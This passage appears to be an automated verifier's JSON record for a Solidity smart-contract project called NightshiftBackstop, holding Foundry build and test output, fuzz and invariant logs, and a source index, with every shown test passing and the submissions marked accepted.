test_invalidAndFailedWithdrawalsPreservePendingGains() (gas: 1311830)\n[PASS] test_noReturnTokensSupportTheEntireLifecycle() (gas: 1293076)\n[PASS] test_offerRejectsPriceThatRoundsToZeroWithoutTakingTokens() (gas: 123493)\n[PASS] test_pauseStillAllowsShieldAndTreasuryExitAndResume() (gas: 1303571)\n[PASS] test_pendingOwnerCanBeReplacedAndCancelledWithoutChangingOwner() (gas: 338127)\n[PASS] test_quoteAndEscrowRejectUnrepresentableLotSizes() (gas: 99713)\n[PASS] test_sellerSecondTransferFailureRollsBackFirstTransfer() (gas: 886996)\n[PASS] test_settlementDoesNotCallOracleOrTransferTokens() (gas: 923704)\n[PASS] test_taxedQuoteIsRejectedForBidsAndShieldDeposits() (gas: 708689)\nSuite result: ok. 22 passed; 0 failed; 0 skipped; finished in 196.16ms (495.06ms CPU time)\n\nRan 14 tests for test/UniV3MathProperties.t.sol:UniV3MathPropertiesTest\n[PASS] testFuzz_meanTickIsFloorAndIgnoresCumulativeOrigin(int24,uint32,uint32,int56) (runs: 1000, μ: 28266, ~: 28230)\nLogs:\n  Bound result 77\n  Bound result 887271\n  Bound result 0\n  Bound result 11702\n\n[PASS] testFuzz_mulDivCancelsFactorEvenWhenProductOverflows(uint256,uint256) (runs: 1000, μ: 6915, ~: 6834)\nLogs:\n  Bound result 71\n\n[PASS] testFuzz_mulDivFitsOrdinaryIntegerArithmetic(uint128,uint128,uint256) (runs: 1000, μ: 7214, ~: 7211)\nLogs:\n  Bound result 788627060573027220127739721082426342761086628990480757286\n\n[PASS] testFuzz_mulDivIsTheFloorOfTheFull512BitProduct(uint256,uint256,uint256) (runs: 1000, μ: 12366, ~: 12093)\nLogs:\n  Bound result 115792089237286204109079867763752607680089121444490376284309989762668147830149\n\n[PASS] testFuzz_quoteIsMonotoneInAmountForBothTokenOrders(int24,uint128,uint128) (runs: 1000, μ: 17692, ~: 17496)\nLogs:\n  Bound result 2500\n\n[PASS] testFuzz_quoteRoundTripCannotCreateTokens(int24,uint128) (runs: 1000, μ: 18247, ~: 18208)\nLogs:\n  Bound result 1\n  Bound result 441084057828\n\n[PASS] testFuzz_sqrtRatioStrictlyIncreasesAcrossFullDomain(int24) (runs: 1000, μ: 12689, ~: 12590)\nLogs:\n  Bound result 690\n\n[PASS] test_meanTickNegativeFractionAndExactBoundary() (gas: 7437)\n[PASS] test_meanTickRejectsZeroPeriod() (gas: 8713)\n[PASS] test_mulDivRejectsZeroDenominatorAndUnrepresentableQuotient() (gas: 37402)\n[PASS] test_mulDivZeroOneAndMaximum() (gas: 6470)\n[PASS] test_quotesMatchIndependentDecimalPriceVectors() (gas: 18110)\n[PASS] test_tickMathRejectsBothEndsAndInt24Minimum() (gas: 27481)\n[PASS] test_zeroAndMaximumAmountAtEqualPrice() (gas: 10962)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 196.53ms (1.03s CPU time)\n\nRan 10 tests for test/NightshiftEconomicProperties.t.sol:NightshiftEconomicPropertiesTest\n[PASS] testFuzz_adjacentBidSplitsPreserveCombinedAllocation(uint8,uint8,uint8) (runs: 512, μ: 1326077, ~: 1326012)\nLogs:\n  Bound result 60\n  Bound result 20\n  Bound result 40\n\n[PASS] testFuzz_claimOrderDoesNotChangeTokenOrQuoteDistribution(uint256) (runs: 512, μ: 1742750, ~: 1743188)\n[PASS] testFuzz_depositWithdrawCyclesCannotCreatePrincipal(uint128,uint8) (runs: 512, μ: 2280110, ~: 1739471)\nLogs:\n  Bound result 4221\n  Bound result 1\n\n[PASS] testFuzz_partialWithdrawAndGainsClaimDoNotExtendLock(uint128) (runs: 512, μ: 530348, ~: 530155)\nLogs:\n  Bound result 11417200562768374\n\n[PASS] test_ShieldRescalesTwiceThroughRealOffersAndNewDepositorCanExit() (gas: 37348061)\n[PASS] test_joiningShieldAfterSettlementCannotClaimPastRewards() (gas: 933764)\n[PASS] test_lastOf101OneLotBidsGetsFullRefundAndNoTokens() (gas: 22707403)\n[PASS] test_oneBaseUnitLotAndRoundedFeeConserveEveryUnit() (gas: 808767)\n[PASS] test_priceAndPumpEligibilityAreFrozenBeforeOracleChanges() (gas: 1503215)\n[PASS] test_zeroShieldCapStillDistributesBidFeesToDepositors() (gas: 4109044)\nSuite result: ok. 10 passed; 0 failed; 0 skipped; finished in 197.64ms (753.71ms CPU time)\n\nRan 2 tests for test/NightshiftInvariant.t.sol:NightshiftInvariantTest\n[PASS] invariant_custodyAllocationAndClaimsRemainSolvent() (runs: 256, calls: 32768, reverts: 0)\n\n╭-----------------+--------------+-------+---------+----------╮\n| Contract        | Selector     | Calls | Reverts | Discards |\n+=============================================================+\n| BackstopHandler | advance      | 2282  | 0       | 0        |\n|-----------------+--------------+-------+---------+----------|\n| BackstopHandler | bid          | 2336  | 0       | 0        |\n|-----------------+--------------+-------+---------+----------|\n| BackstopHandler | changeMarket | 2235  | 0       | 0        |\n|-----------------+--------------+-------+---------+----------|\n| BackstopHandler | claimBid     | 2332  | 0       | 0        |\n|-----------------+--------------+-------+---------+----------|\n| BackstopHandler | claimGains   | 2336  | 0       | 0        |\n|-----------------+--------------+-------+---------+----------|\n| BackstopHandler | claimSeller  | 2349  | 0       | 0        |\n|-----------------+--------------+-------+---------+----------|\n| BackstopHandler | createOffer  | 2350  | 0       | 0        |\n|-----------------+--------------+-------+---------+----------|\n| BackstopHandler | deposit      | 2381  | 0       | 0        |\n|-----------------+--------------+-------+---------+----------|\n| BackstopHandler | donate       | 2422  | 0       | 0        |\n|-----------------+--------------+-------+---------+----------|\n| BackstopHandler | invalidCall  | 2356  | 0       | 0        |\n|-----------------+--------------+-------+---------+----------|\n| BackstopHandler | pause        | 2391  | 0       | 0        |\n|-----------------+--------------+-------+---------+----------|\n| BackstopHandler | settle       | 2401  | 0       | 0        |\n|-----------------+--------------+-------+---------+----------|\n| BackstopHandler | treasury     | 2285  | 0       | 0        |\n|-----------------+--------------+-------+---------+----------|\n| BackstopHandler | withdraw     | 2312  | 0       | 0        |\n╰-----------------+--------------+-------+---------+----------╯\n\nLogs:\n  Bound result 20000000000\n  Bound result 10000000000\n  Bound result 1000000000000000000000\n  Bound result 1\n  Bound result 100\n  Bound result 1\n  Bound result 70\n  Bound result 1\n  Bound result 1\n  Bound result 2000000000000000000000\n  Bound result 2\n  Bound result 30\n  Bound result 2\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 2000000\n  Bound result 1\n  Bound result 96136752954\n  Bound result 1\n  Bound result 1\n  Bound result 13288194234518861415949\n  Bound result 1\n  Bound result 8466517926\n  Bound result 19000000000000000027364\n  Bound result 19018446744073709551617\n  Bound result 1\n  Bound result 16977030002942805198185\n  Bound result 2\n  Bound result -1024\n  Bound result 1189\n  Bound result 1\n  Bound result 19000000000000000000071\n  Bound result 1\n  Bound result 1\n  Bound result 2602\n  Bound result 6\n  Bound result 12\n  Bound result 2\n  Bound result 296\n  Bound result 4\n  Bound result 4\n  Bound result 7492589340267073107052\n  Bound result 752362241826\n  Bound result 158006\n  Bound result 11849\n  Bound result 471129\n  Bound result 1939200\n  Bound result 2132354424839627318271665\n  Bound result 5\n  Bound result 262144\n  Bound result 3\n  Bound result -974\n  Bound result -1\n  Bound result 8\n  Bound result 2339201\n  Bound result 875\n  Bound result 297\n  Bound result 3\n  Bound result -1975\n  Bound result 0\n  Bound result 715069151168\n  Bound result 24576\n  Bound result 876\n  Bound result -1024\n  Bound result 726\n  Bound result 601\n  Bound result 21214\n  Bound result 9700\n  Bound result 1\n  Bound result 875\n  Bound result -7\n  Bound result 6440\n  Bound result 6\n  Bound result 1212652309\n  Bound result 790\n  Bound result -1061\n  Bound result 8\n  Bound result 5\n  Bound result 7\n  Bound result 728530859242\n  Bound result 6914\n  Bound result 659\n  Bound result 2792\n  Bound result 1024\n  Bound result -100\n  Bound result 82\n  Bound result 19596\n  Bound result -1800\n  Bound result -2008\n  Bound result 0\n  Bound result -2130\n  Bound result 1396\n  Bound result 2500\n  Bound result -2519\n  Bound result 3\n  Bound result 970501\n  Bound result 1\n  Bound result 1000002\n  Bound result -8\n  Bound result 1579\n  Bound result 2\n  Bound result 330\n  Bound result 2\n  Bound result 3\n  Bound result 4\n  Bound result 6\n  Bound result 7\n  Bound result 7\n  Bound result 8\n  Bound result 8\n  Bound result 4\n\n[PASS] test_handlerExercisesEveryActionAndUnwinds() (gas: 4923372)\nLogs:\n  Bound result 20000000000\n  Bound result 10000000000\n  Bound result 1000000000000000000000\n  Bound result 1\n  Bound result 100\n  Bound result 1\n  Bound result 70\n  Bound result 1\n  Bound result 1\n  Bound result 2000000000000000000000\n  Bound result 2\n  Bound result 30\n  Bound result 2\n  Bound result 100\n  Bound result 1\n  Bound result 3\n  Bound result 7\n  Bound result -100\n  Bound result 2100\n  Bound result 1000000000000000000000\n  Bound result 3\n  Bound result 2\n  Bound result 2\n  Bound result 2\n  Bound result 2\n  Bound result 2\n  Bound result 2678400\n  Bound result 1\n  Bound result 5\n  Bound result 1\n  Bound result 3\n  Bound result 3\n  Bound result 4\n\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 18.09s (18.09s CPU time)\n\nRan 6 test suites in 18.09s (18.84s CPU time): 88 tests passed, 0 failed, 0 skipped (88 total tests)\n","passed":true},{"durationMs":58,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"NightshiftBackstop.acceptOwnership()\",\"NightshiftBackstop.claimBid(uint256)\",\"NightshiftBackstop.claimSeller(uint256)\",\"NightshiftBackstop.createOffer(uint256)\",\"NightshiftBackstop.placeBid(uint256,uint256)\",\"NightshiftBackstop.setPaused(bool)\",\"NightshiftBackstop.setPriceSource(address)\",\"NightshiftBackstop.setTreasury(address)\",\"NightshiftBackstop.settle(uint256)\",\"NightshiftBackstop.shieldClaimGains()\",\"NightshiftBackstop.shieldDeposit(uint256)\",\"NightshiftBackstop.shieldWithdraw(uint256)\",\"NightshiftBackstop.transferOwnership(address)\",\"NightshiftBackstop.withdrawTreasury()\"],\"files\":{\".gitignore\":3,\"README.md\":171,\"foundry.toml\":17,\"remappings.txt\":1,\"script/DeployNightshiftBackstop.s.sol\":47,\"src/NightshiftBackstop.sol\":600,\"src/libraries/UniV3Math.sol\":173,\"test/DeployNightshiftBackstop.t.sol\":29,\"test/NightshiftBackstop.t.sol\":757,\"test/NightshiftEconomicProperties.t.sol\":335,\"test/NightshiftFailurePaths.t.sol\":492,\"test/NightshiftInvariant.t.sol\":103,\"test/TESTING.md\":69,\"test/UniV3MathProperties.t.sol\":176,\"test/helpers/AdversarialToken.sol\":100,\"test/invariant/BackstopHandler.sol\":487,\"test/mocks/Mocks.sol\":135},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"54c498e82988874aa473d0384e1cb1a695991d1e71ac113b0e9d0cece286a1e1","verifiedTreeHash":"bef5318d684c353e9f86a015d23ab55f0d052582","verifierVersion":"0.1.0+6b1a2333"},{"checks":[{"durationMs":5291,"exitCode":0,"name":"build","output":"Compiling 33 files with Solc 0.8.26\nSolc 0.8.26 finished in 5.18s\nCompiler run successful!\n","passed":true},{"durationMs":21067,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/DeployNightshiftBackstop.t.sol:DeployNightshiftBackstopTest\n[PASS] test_defaultConfigDeploysOnEmptyChain() (gas: 7301905)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 663.42µs (367.29µs CPU time)\n\nRan 22 tests for test/NightshiftFailurePaths.t.sol:NightshiftFailurePathsTest\n[PASS] testFuzz_badTransferReturnRollsBackIntake(uint8) (runs: 512, μ: 504655, ~: 504723)\nLogs:\n  Bound result 2\n\n[PASS] testFuzz_badTransferReturnRollsBackPayout(uint8) (runs: 512, μ: 771983, ~: 772055)\nLogs:\n  Bound result 5\n\n[PASS] testFuzz_callbacksCannotReenterCustody(uint8,uint8) (runs: 512, μ: 1231213, ~: 1225829)\nLogs:\n  Bound result 0\n  Bound result 3\n\n[PASS] test_approvalFailureRollsBackOfferAndAllowsRetry() (gas: 476815)\n[PASS] test_bidRefundFailureRollsBackTokensAndCanRetry() (gas: 1088128)\n[PASS] test_constructorRejectsEitherZeroAsset() (gas: 394323)\n[PASS] test_deadlineMinusOneAndExactDeadlineAreComplementary() (gas: 591296)\n[PASS] test_emptyAccountGainsClaimCannotCollectOthersRewards() (gas: 720886)\n[PASS] test_exactHolderThresholdAndBalanceAtSecondBid() (gas: 506949)\n[PASS] test_failedGainPaymentPreservesSnapshotsAndPrincipal() (gas: 1124452)\n[PASS] test_failedRedepositDoesNotPayGainsOrRestartLock() (gas: 933942)\n[PASS] test_failedTreasuryTransferCanBeReroutedByOwner() (gas: 763354)\n[PASS] test_insufficientQuoteRollsBackBidPrefixAndId() (gas: 718510)\n[PASS] test_invalidAndFailedWithdrawalsPreservePendingGains() (gas: 1388881)\n[PASS] test_noReturnTokensSupportTheEntireLifecycle() (gas: 1367959)\n[PASS] test_offerRejectsPriceThatRoundsToZeroWithoutTakingTokens() (gas: 125685)\n[PASS] test_pauseStillAllowsShieldAndTreasuryExitAndResume() (gas: 1401970)\n[PASS] test_pendingOwnerCanBeReplacedAndCancelledWithoutChangingOwner() (gas: 354873)\n[PASS] test_quoteAndEscrowRejectUnrepresentableLotSizes() (gas: 99962)\n[PASS] test_sellerSecondTransferFailureRollsBackFirstTransfer() (gas: 898054)\n[PASS] test_settlementDoesNotCallOracleOrTransferTokens() (gas: 908798)\n[PASS] test_taxedQuoteIsRejectedForBidsAndShieldDeposits() (gas: 718034)\nSuite result: ok. 22 passed; 0 failed; 0 skipped; finished in 187.04ms (510.94ms CPU time)\n\nRan 57 tests for test/NightshiftBackstop.t.sol:NightshiftBackstopTest\n[PASS] testFuzz_conservation(uint8,uint256,uint96,int16) (runs: 256, μ: 2314076, ~: 2242073)\nLogs:\n  Bound result 0\n  Bound result 11\n  Bound result 11267101192351130\n\n[PASS] testFuzz_multiOfferShieldConservation(uint96,uint8,uint256) (runs: 256, μ: 3079598, ~: 2583313)\nLogs:\n  Bound result 49999000000000000009971\n  Bound result 2\n\n[PASS] test_bidRules() (gas: 458541)\n[PASS] test_blockedRecipientClaimsToAnotherAddress() (gas: 6756614)\n[PASS] test_blockedRecipientDoesNotFreezeOthers() (gas: 5777057)\n[PASS] test_brokenOracleBlocksOfferButNotSettlement() (gas: 340732)\n[PASS] test_claimRules() (gas: 854700)\n[PASS] test_constructorNeedsNoCodeAtAddresses() (gas: 3607698)\n[PASS] test_constructorRejectsBadArgs() (gas: 1177430)\n[PASS] test_constructorSetsOwnerNotDeployer() (gas: 57120)\n[PASS] test_createOfferEscrowsWholeLots() (gas: 250877)\n[PASS] test_createOfferTooSmall() (gas: 39846)\n[PASS] test_createOfferWithPriceBound() (gas: 439253)\n[PASS] test_depositDuringWindowDoesNotEnlargeShieldSlice() (gas: 792724)\n[PASS] test_discountFallsWithNegativeMomentumAndClamps() (gas: 127095)\n[PASS] test_discountRisesWithMomentumAndClamps() (gas: 128213)\n[PASS] test_dustLeftInShieldDoesNotStrandFees() (gas: 1454980)\n[PASS] test_feeOnTransferTokenRejected() (gas: 4917384)\n[PASS] test_fullCoverageNoShield() (gas: 990927)\n[PASS] test_lateBidRejectedAtDeadline() (gas: 251417)\n[PASS] test_lateShieldDepositDoesNotJoinOffer() (gas: 723272)\n[PASS] test_lockedDepositorCanLeaveBeforeNewPriceSource() (gas: 881427)\n[PASS] test_mathMatchesMainnetPoolScale() (gas: 7044)\n[PASS] test_meanTickRoundsDown() (gas: 5542)\n[PASS] test_momentumSaturatesWhenPastValueRoundsToZero() (gas: 5274881)\n[PASS] test_noBidsReturnsEverything() (gas: 356022)\n[PASS] test_oneWeiDepositEarnsNoFees() (gas: 699834)\n[PASS] test_oversubscribedProRata() (gas: 914207)\n[PASS] test_pauseBlocksEntryButNotExit() (gas: 953775)\n[PASS] test_pauseDoesNotShutBiddersOut() (gas: 848067)\n[PASS] test_priceSourceChangeCanBeCancelledAndRescheduled() (gas: 793270)\n[PASS] test_priceSourceChangeIsDelayed() (gas: 1056459)\n[PASS] test_pumpFilterSkipsShield() (gas: 503891)\n[PASS] test_quoteAtZeroMomentumUsesBaseDiscount() (gas: 28941)\n[PASS] test_redepositRestartsLock() (gas: 301856)\n[PASS] test_reentrancyBlocked() (gas: 5739541)\n[PASS] test_setPriceSourceOnlyOwnerAndMatchingPool() (gas: 4799148)\n[PASS] test_setTreasury() (gas: 103534)\n[PASS] test_settleRules() (gas: 335972)\n[PASS] test_shieldBuysDownToTheFrozenPriceAndNotBelow() (gas: 1048123)\n[PASS] test_shieldDepositNeedsPriceSource() (gas: 3924731)\n[PASS] test_shieldDepositsBeyondTwoScalesCompoundToZero() (gas: 6878688)\n[PASS] test_shieldDoesNotBuyAboveSettlementTwap() (gas: 923526)\n[PASS] test_shieldLimitedByCapAndFunds() (gas: 4998237)\n[PASS] test_shieldLockAndWithdraw() (gas: 442142)\n[PASS] test_shieldScaleChangeKeepsAccounting() (gas: 6137902)\n[PASS] test_shieldSharedProRata() (gas: 806413)\n[PASS] test_shieldTakesPrioritySliceAndEarnsFees() (gas: 1076601)\n[PASS] test_shieldZeroDeposit() (gas: 39420)\n[PASS] test_splitOffersShareOneShieldBudget() (gas: 1743474)\n[PASS] test_sqrtRatioKnownValues() (gas: 6735)\n[PASS] test_twoStepOwnership() (gas: 177237)\n[PASS] test_undersubscribedReturnsRemainderToSeller() (gas: 591608)\n[PASS] test_unreadablePoolAtSettlementSkipsShieldOnly() (gas: 810555)\n[PASS] test_unsetPriceSourceBlocksOffers() (gas: 3695245)\n[PASS] test_withdrawCannotTakeFundsReservedForOpenOffers() (gas: 1001347)\n[PASS] test_withdrawTreasuryNothing() (gas: 36787)\nSuite result: ok. 57 passed; 0 failed; 0 skipped; finished in 249.88ms (494.35ms CPU time)\n\nRan 15 tests for test/NightshiftRevisionProperties.t.sol:NightshiftRevisionPropertiesTest\n[PASS] testFuzz_ShieldBuysOnlyIfFrozenPriceIsAtOrBelowSettlementTwap(int24,uint8) (runs: 512, μ: 928120, ~: 983635)\nLogs:\n  Bound result 0\n  Bound result 2\n\n[PASS] testFuzz_boundedOfferSucceedsExactlyWhenPriceAndTimeHold(uint256,uint256) (runs: 512, μ: 147962, ~: 88111)\nLogs:\n  Bound result 600\n  Bound result 1800000000\n\n[PASS] testFuzz_concurrentReservationsNeverExceedHalfOfDeposits(uint256,uint8) (runs: 512, μ: 1598940, ~: 1300829)\nLogs:\n  Bound result 4448\n  Bound result 6\n\n[PASS] testFuzz_withdrawalSucceedsExactlyWhenReservationsStayCovered(uint256) (runs: 512, μ: 913972, ~: 923148)\nLogs:\n  Bound result 738724556452454418681\n\n[PASS] test_blockedBidderCanStillLeaveThroughClaimBidTo() (gas: 6184330)\n[PASS] test_boundedOfferIsPausedAndChecksSizeBeforeMinimum() (gas: 144802)\n[PASS] test_brokenSourceAtSettlementReleasesReservationAndSettlesBidders() (gas: 889656)\n[PASS] test_depositAfterCreationCannotEnlargeSliceOrDisplaceBidders() (gas: 767608)\n[PASS] test_flatZeroPriceIsRejectedNotSaturated() (gas: 121226)\n[PASS] test_nothingCanBeDepositedOrOfferedBeforeASourceExists() (gas: 4309813)\n[PASS] test_pauseDoesNotShutBiddersOutOfAnOpenOffer() (gas: 617072)\n[PASS] test_priceSourceAdminRejectsOutsidersAndBadPools() (gas: 1746798)\n[PASS] test_priceSourceChangeWaitsFullDelayAndRescheduleRestartsIt() (gas: 1295934)\n[PASS] test_redirectedExitsPayOnlyTheirOwnersEntitlement() (gas: 1604494)\n[PASS] test_riseFromZeroOlderPriceTripsPumpFilter() (gas: 590084)\nSuite result: ok. 15 passed; 0 failed; 0 skipped; finished in 249.89ms (646.26ms CPU time)\n\nRan 10 tests for test/NightshiftEconomicProperties.t.sol:NightshiftEconomicPropertiesTest\n[PASS] testFuzz_adjacentBidSplitsPreserveCombinedAllocation(uint8,uint8,uint8) (runs: 512, μ: 1332269, ~: 1332249)\nLogs:\n  Bound result 1\n  Bound result 57\n  Bound result 8\n\n[PASS] testFuzz_claimOrderDoesNotChangeTokenOrQuoteDistribution(uint256) (runs: 512, μ: 1745499, ~: 1745917)\n[PASS] testFuzz_depositWithdrawCyclesCannotCreatePrincipal(uint128,uint8) (runs: 512, μ: 2341305, ~: 1763970)\nLogs:\n  Bound result 1728000\n  Bound result 16\n\n[PASS] testFuzz_partialWithdrawAndGainsClaimDoNotExtendLock(uint128) (runs: 512, μ: 536966, ~: 536769)\nLogs:\n  Bound result 893750197177629231353\n\n[PASS] test_ShieldRescalesTwiceThroughRealOffersAndNewDepositorCanExit() (gas: 42308616)\n[PASS] test_joiningShieldAfterSettlementCannotClaimPastRewards() (gas: 1010687)\n[PASS] test_lastOf101OneLotBidsGetsFullRefundAndNoTokens() (gas: 22504490)\n[PASS] test_oneBaseUnitLotAndRoundedFeeConserveEveryUnit() (gas: 820025)\n[PASS] test_priceAndPumpEligibilityAreFrozenBeforeOracleChanges() (gas: 1641111)\n[PASS] test_zeroShieldCapPaysBidFeesToTreasuryNotIdleDepositors() (gas: 4560581)\nSuite result: ok. 10 passed; 0 failed; 0 skipped; finished in 250.29ms (813.05ms CPU time)\n\nRan 14 tests for test/UniV3MathProperties.t.sol:UniV3MathPropertiesTest\n[PASS] testFuzz_meanTickIsFloorAndIgnoresCumulativeOrigin(int24,uint32,uint32,int56) (runs: 1000, μ: 28237, ~: 28230)\nLogs:\n  Bound result 4135\n  Bound result -160\n  Bound result 3437\n  Bound result 1\n\n[PASS] testFuzz_mulDivCancelsFactorEvenWhenProductOverflows(uint256,uint256) (runs: 1000, μ: 6915, ~: 6834)\nLogs:\n  Bound result 4\n\n[PASS] testFuzz_mulDivFitsOrdinaryIntegerArithmetic(uint128,uint128,uint256) (runs: 1000, μ: 7214, ~: 7211)\nLogs:\n  Bound result 788627060573027220127739721082426342761086628990480757286\n\n[PASS] testFuzz_mulDivIsTheFloorOfTheFull512BitProduct(uint256,uint256,uint256) (runs: 1000, μ: 12365, ~: 12093)\nLogs:\n  Bound result 115792089237286204109079867763752607680089121444490376284309989762668147830149\n\n[PASS] testFuzz_quoteIsMonotoneInAmountForBothTokenOrders(int24,uint128,uint128) (runs: 1000, μ: 17679, ~: 17517)\nLogs:\n  Bound result 346626\n\n[PASS] testFuzz_quoteRoundTripCannotCreateTokens(int24,uint128) (runs: 1000, μ: 18226, ~: 18082)\nLogs:\n  Bound result 0\n  Bound result 620172959336\n\n[PASS] testFuzz_sqrtRatioStrictlyIncreasesAcrossFullDomain(int24) (runs: 1000, μ: 12681, ~: 12604)\nLogs:\n  Bound result 10278\n\n[PASS] test_meanTickNegativeFractionAndExactBoundary() (gas: 7437)\n[PASS] test_meanTickRejectsZeroPeriod() (gas: 8713)\n[PASS] test_mulDivRejectsZeroDenominatorAndUnrepresentableQuotient() (gas: 37402)\n[PASS] test_mulDivZeroOneAndMaximum() (gas: 6470)\n[PASS] test_quotesMatchIndependentDecimalPriceVectors() (gas: 18110)\n[PASS] test_tickMathRejectsBothEndsAndInt24Minimum() (gas: 27481)\n[PASS] test_zeroAndMaximumAmountAtEqualPrice() (gas: 10962)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 250.43ms (1.63s CPU time)\n\nRan 2 tests for test/NightshiftInvariant.t.sol:NightshiftInvariantTest\n[PASS] invariant_custodyAllocationAndClaimsRemainSolvent() (runs: 256, calls: 32768, reverts: 0)\n\n╭-----------------+--------------+-------+---------+----------╮\n| Contract        | Selector     | Calls | Reverts | Discards |\n+=============================================================+\n| BackstopHandler | advance      | 2237  | 0       | 0        |\n|-----------------+--------------+-------+---------+----------|\n| BackstopHandler | bid          | 2165  | 0       | 0        |\n|-----------------+--------------+-------+---------+----------|\n| BackstopHandler | changeMarket | 2173  | 0       | 0        |\n|-----------------+--------------+-------+---------+----------|\n| BackstopHandler | claimBid     | 2160  | 0       | 0        |\n|-----------------+--------------+-------+---------+----------|\n| BackstopHandler | claimGains   | 2157  | 0       | 0        |\n|-----------------+--------------+-------+---------+----------|\n| BackstopHandler | claimSeller  | 2132  | 0       | 0        |\n|-----------------+--------------+-------+---------+----------|\n| BackstopHandler | createOffer  | 2113  | 0       | 0        |\n|-----------------+--------------+-------+---------+----------|\n| BackstopHandler | deposit      | 2239  | 0       | 0        |\n|-----------------+--------------+-------+---------+----------|\n| BackstopHandler | donate       | 2209  | 0       | 0        |\n|-----------------+--------------+-------+---------+----------|\n| BackstopHandler | invalidCall  | 2236  | 0       | 0        |\n|-----------------+--------------+-------+---------+----------|\n| BackstopHandler | pause        | 2184  | 0       | 0        |\n|-----------------+--------------+-------+---------+----------|\n| BackstopHandler | rotateSource | 2191  | 0       | 0        |\n|-----------------+--------------+-------+---------+----------|\n| BackstopHandler | settle       | 2188  | 0       | 0        |\n|-----------------+--------------+-------+---------+----------|\n| BackstopHandler | treasury     | 2172  | 0       | 0        |\n|-----------------+--------------+-------+---------+----------|\n| BackstopHandler | withdraw     | 2212  | 0       | 0        |\n╰-----------------+--------------+-------+---------+----------╯\n\nLogs:\n  Bound result 20000000000\n  Bound result 10000000000\n  Bound result 1000000000000000000000\n  Bound result 1\n  Bound result 100\n  Bound result 1\n  Bound result 70\n  Bound result 1\n  Bound result 1\n  Bound result 2000000000000000000000\n  Bound result 2\n  Bound result 30\n  Bound result 1\n  Bound result 1\n  Bound result 3\n  Bound result 828\n  Bound result 19000000000000000002422\n  Bound result 600\n  Bound result 72857\n  Bound result 12160985804\n  Bound result 918400\n  Bound result 4810352780348339234023\n  Bound result 6818\n  Bound result 1700589771102474556757695\n  Bound result 1\n  Bound result 899200\n  Bound result -2853\n  Bound result -2809\n  Bound result 875\n  Bound result -2651\n  Bound result 4295128739\n  Bound result 2\n  Bound result 4\n  Bound result 2\n  Bound result 1024\n  Bound result 14676\n  Bound result 3\n  Bound result 877\n  Bound result 622\n  Bound result 1\n  Bound result 3000000000000000000000\n  Bound result 4\n  Bound result 4\n  Bound result 5479\n  Bound result 5\n  Bound result 67\n  Bound result 2\n  Bound result 6762319994\n  Bound result 5\n  Bound result 5\n  Bound result 7492589340267073107052\n  Bound result 753727143646\n  Bound result 158006\n  Bound result 12765\n  Bound result 760933\n  Bound result 9999\n  Bound result 524288\n  Bound result 3\n  Bound result 1480\n  Bound result -225\n  Bound result 1\n  Bound result 23027\n  Bound result 6\n  Bound result 1\n  Bound result 302\n  Bound result 5\n  Bound result 2595\n  Bound result 0\n  Bound result 80441211864\n  Bound result 956800\n  Bound result 876\n  Bound result 790\n  Bound result 969\n  Bound result 1507\n  Bound result 23419\n  Bound result 199\n  Bound result 6\n  Bound result 5\n  Bound result -1\n  Bound result 2001\n  Bound result 5769\n  Bound result 2\n  Bound result 1\n  Bound result 4\n  Bound result 5358\n  Bound result 1\n  Bound result 2\n  Bound result 4\n  Bound result 3\n  Bound result -2\n  Bound result 50\n  Bound result 2393600\n  Bound result -2012\n  Bound result 970\n  Bound result 2\n  Bound result 8858\n  Bound result 4\n  Bound result 952792\n  Bound result -2685\n  Bound result 266\n  Bound result 4\n  Bound result 5\n  Bound result 6\n  Bound result 6\n  Bound result 3\n  Bound result 4\n\n[PASS] test_handlerExercisesEveryActionAndUnwinds() (gas: 7483895)\nLogs:\n  Bound result 20000000000\n  Bound result 10000000000\n  Bound result 1000000000000000000000\n  Bound result 1\n  Bound result 100\n  Bound result 1\n  Bound result 70\n  Bound result 1\n  Bound result 1\n  Bound result 2000000000000000000000\n  Bound result 2\n  Bound result 30\n  Bound result 2\n  Bound result 100\n  Bound result 1\n  Bound result 3\n  Bound result 7\n  Bound result -100\n  Bound result 2100\n  Bound result 1000000000000000000000\n  Bound result 3\n  Bound result 2\n  Bound result 2\n  Bound result 2\n  Bound result 2\n  Bound result 2\n  Bound result 2678400\n  Bound result 1\n  Bound result 2678400\n  Bound result 518400\n  Bound result 40000000000\n  Bound result 2678400\n  Bound result 0\n  Bound result 0\n  Bound result 20000000000000000000000\n  Bound result 4\n  Bound result 5\n  Bound result 5\n  Bound result 1\n  Bound result 3\n  Bound result 4\n  Bound result 4\n  Bound result 3\n  Bound result 4\n  Bound result 5\n\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 20.93s (20.92s CPU time)\n\nRan 7 test suites in 20.93s (22.12s CPU time): 121 tests passed, 0 failed, 0 skipped (121 total tests)\n","passed":true},{"durationMs":102,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"NightshiftBackstop.acceptOwnership()\",\"NightshiftBackstop.applyPriceSource()\",\"NightshiftBackstop.cancelPriceSourceChange()\",\"NightshiftBackstop.claimBid(uint256)\",\"NightshiftBackstop.claimBidTo(uint256,address)\",\"NightshiftBackstop.claimSeller(uint256)\",\"NightshiftBackstop.claimSellerTo(uint256,address)\",\"NightshiftBackstop.createOffer(uint256)\",\"NightshiftBackstop.createOffer(uint256,uint256,uint256)\",\"NightshiftBackstop.placeBid(uint256,uint256)\",\"NightshiftBackstop.setPaused(bool)\",\"NightshiftBackstop.setPriceSource(address)\",\"NightshiftBackstop.setTreasury(address)\",\"NightshiftBackstop.settle(uint256)\",\"NightshiftBackstop.shieldClaimGains()\",\"NightshiftBackstop.shieldClaimGainsTo(address)\",\"NightshiftBackstop.shieldDeposit(uint256)\",\"NightshiftBackstop.shieldWithdraw(uint256)\",\"NightshiftBackstop.shieldWithdrawTo(uint256,address)\",\"NightshiftBackstop.transferOwnership(address)\",\"NightshiftBackstop.withdrawTreasury()\"],\"files\":{\".gitignore\":3,\"README.md\":231,\"foundry.toml\":17,\"remappings.txt\":1,\"script